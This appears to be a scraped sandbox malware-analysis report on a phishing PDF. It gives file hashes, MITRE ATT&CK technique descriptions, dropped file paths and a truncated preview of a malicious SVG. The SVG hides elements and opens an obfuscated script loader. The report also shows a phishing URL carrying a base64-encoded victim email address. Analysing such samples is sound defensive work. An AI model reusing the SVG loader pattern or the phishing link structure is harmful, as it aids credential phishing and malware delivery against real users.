File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	4376
Entropy (8bit):	4.985937268041553
Encrypted:	false
SSDEEP:
MD5:	3DC627AA8B875A87DE26479080D2FD01
SHA1:	9B1D7938D6CE6AC5DCB1489FA9DCB3BA023C6806
SHA-256:	E674531E8F8381CA03C2BDD7319090A0A52259C492B6F1F9D89FDB952ECCB05C
SHA-512:	128E25326D0B55856DE5CCB63C9C4F8DF7A566AA0A3DA9B667C1E8F21495BCB4F23189885272F47E2B407B5FE23E50EA10F1467B23EF4DC40D7160E9EF153953
Malicious:	false
Reputation:	unknown
URL:	https://62e04af28f.imgdist.com/public/users/BeeFree/beefree-31ff42bd-9787-4fbe-bed4-53cc2f6c51cc/generated.svg?t=YW1iZXIuY3J1ekBoc2Nwb2x5LmNvbQ==&?bai09ejgryrzwmvzfqvzz1f64bai09ejgryrzwmvzfqvzz1f64&error=invalid_request&error_description=You+need+to+pass+the+%22scope%22+parameter
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="no"?>..<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">.. <rect width="100%" height="100%" fill="white"/>.... The teacher created a strange phenomenon while designed a new invention on a rainy day. -->.. <text x="10" y="50" font-family="Arial" style="display: none;">SVG</text>.... An artist captured a strange phenomenon in the desert. -->.. .. <foreignObject width="100%" height="100%" style="display: none;">.... An artist captured a strange phenomenon in the desert. -->.. <div xmlns="http://www.w3.org/1999/xhtml" style="font-family: Arial; color: blue;">.. SVG.. </div>.. </foreignObject>.... A scientist found a lost map while captured an ancient artifact at the edge of the world. -->.. <script type="application/ecmascript">.. <![CDATA[.. try {.. try {.. var hopocowa =

Static File Info

General

File type:	PDF document, version 1.4, 1 pages
Entropy (8bit):	7.802360448675727
TrID:	Adobe Portable Document Format (5005/1) 100.00%
File name:	Scanned Page(s).pdf
File size:	252'040 bytes
MD5:	031bc3792bf0fcfd59ae8520c42e879c
SHA1:	0b0984db2170039d94aa1cc8c2fe2b9c98ad7e3f
SHA256:	55894ec10dfbbabf4a8dd8cb64b7a287bb6f862fbfe3e7a0c382403c79e0bccd
SHA512:	732eb53ec9f0beb9b6e48ffa3f8f2372c6564550cb062cacca911da3d6991e8b710988ad0f7842bfc965a3df99e93d17428162d01f11a7670dbce0dc488fce8d
SSDEEP:	6144:HVAA4Jf3XN+dD9pFx/fuKJxKBA/IRFsDTuLVGKEtH:8A7pFJRwRcTsUH
TLSH:	6C34BE1A6B66CE44DCA5EB308FB57081A9EFEF511B89611C7C6CBB1FDF920819F81442
File Content Preview:	%PDF-1.4.%.....1 0 obj.<</Title (about:blank)./Creator (Mozilla/5.0 $Windows NT 10.0; Win64; x64$ AppleWebKit/537.36 $KHTML, like Gecko$ HeadlessChrome/132.0.0.0 Safari/537.36)./Producer (Skia/PDF m132)./CreationDate (D:20250414230458+00'00')./ModDate

File Icon


Icon Hash:	62cc8caeb29e8ae0

Static PDF Info

General
Header:	%PDF-1.4
Total Entropy:	7.802360
Total Bytes:	252040
Stream Entropy:	7.833730
Stream Bytes:	236991
Entropy outside Streams:	5.198497
Bytes outside Streams:	15049
Number of EOF found:	1
Bytes after EOF:

Keywords Statistics

Name	Count
obj	103
endobj	103
stream	17
endstream	17
xref	1
trailer	1
startxref	1
/Page	1
/Encrypt	0
/ObjStm	0
/URI	2
/JS	0
/JavaScript	0
/AA	0
/OpenAction	0
/AcroForm	0
/JBIG2Decode	0
/RichMedia	0
/Launch	0
/EmbeddedFile	0

Image Streams

ID	DHASH	MD5	Preview
4	0000000000000000	746054e651e0617200fb830e683c862a
9	19595a4d5d5d4d23	5fa28cd4141fedfbb9079c5ce3c37357

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Scanned Page(s).pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

Dropped Files

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4c9b8526-3db2-445f-8dc9-88b765fdaf24.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250415121606Z-163.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

C:\Users\user\AppData\Local\Temp\MSI9daf0.LOG

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-04-15 08-16-04-528.log

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Windows Analysis Report
Scanned Page(s).pdf